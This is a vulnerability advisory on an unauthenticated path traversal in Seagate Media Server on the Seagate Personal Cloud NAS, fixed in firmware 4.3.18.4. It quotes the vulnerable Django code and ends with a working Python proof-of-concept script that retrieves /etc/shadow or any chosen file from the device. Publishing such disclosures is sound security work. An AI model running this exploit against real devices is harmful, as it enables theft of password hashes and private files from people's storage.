Seagate Media Server path traversal vulnerability

Abstract

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). It was found that Seagate Media Server is vulnerable to path traversal that allows unauthenticated attackers to download arbitrary files from the NAS. Since Seagate Media Server runs with root privileges it is possible to exploit this issue to retrieve sensitive information from the NAS.

Tested versions

This issue was tested on a Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0. It is likely that other devices/models are also affected.

Fix

This issue has been fixed in firmware version 4.3.18.4.

Introduction

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). Personal Cloud is deployed with the Seagate Media Server application that allows users to easily access their movies, music, and photos. The Seagate Media Server is accessible without authentication, by default a Public folder exists where anonymous users can upload files to.

It was found that Seagate Media Server is vulnerable to path traversal that allows unauthenticated attackers to download arbitrary files from the NAS. Since Seagate Media Server runs with root privileges it is possible to exploit this issue to retrieve sensitive information from the NAS.

Details

Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
	((
		"socket" => "/var/run/manage_py-fastcgi.socket",
		"check-local" => "disable",
		"stream-post" => "enable",
		"allow-x-send-file" => "enable",
	)),
".psp/"=>
	((
		"socket" => "/var/run/manage_py-fastcgi.socket",
		"check-local" => "disable",
		"stream-post" => "enable",
		"allow-x-send-file" => "enable",
	))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. The getPhotoPlaylistPhotos.psp view can be used to retrieve a playlist from the NAS. This view accepts a parameter named url that normally contains the path to the requested playlist. No validation is performed on this path and due to this it is possible to set it to any arbitrary path. If a file exists at the provided path it will be process and its contents will be returned in a JSON structure. Since Seagate Media Server runs with root privileges it is possible to exploit this issue to retrieve sensitive information from the NAS.

__/usr/lib/python2.7/site-packages/sms/Photo/views.py:__

def getPhotoPlaylistPhoto(request):
	if (checkDBSQLite()) :
		response = '{"stat":"failed","code":"80","message":"The Database has not been initialized or mounted yet!"}'
		return HttpResponse(response)
    
	**url = request.GET.get('url','')**
	start = request.GET.get('start',0)
	count = request.GET.get('count','')
    
	if not os.path.exists(url):
		result = '{"stat":"failed","code":"121","message":"Invalid PhotoPlaylist url given."}'
		return HttpResponse(result)
    
	if url == "" :
		result = '{"stat":"failed","code":"121","message":"Invalid PhotoPlaylist url given."}'
		return HttpResponse(result)
    
	ext=url[url.rfind(".")+1:]
	photourl,totalPhoto=**playlistPhotos(url, start, count)**
[...]
def playlistPhotos(**fileUrl**,start,count):
	# create a list of strings, one per line in the source file
	lines = []
	**with open( fileUrl, "r" ) as f:**
		**lines = f.readlines()**
[...]

Proof of concept

The following Python script can be used to exploit this issue.

#!/usr/bin/env python
import os
import sys
import json
import urllib
	
scheme = 'http'
host = 'personalcloud.local'
port = '80'
urlpath = 'getPhotoPlaylistPhotos.psp'
filepath = '/etc/shadow'
	
if len(sys.argv) > 1:
	filepath = sys.argv[1]
	
filepath = os.path.normpath(filepath)
dirpath = os.path.dirname(filepath) + '/'
r = urllib.urlopen('%s://%s:%s/%s?url=%s' % (scheme, host, port, urlpath, filepath))
data = json.loads(r.read())
if data['stat'] and data['stat'] == 'ok':
	for x in range(data['data']['count']):
		line = data['data']['items'][x]['url'].replace(dirpath, '', 1) 
		print(line)

Vragen of feedback?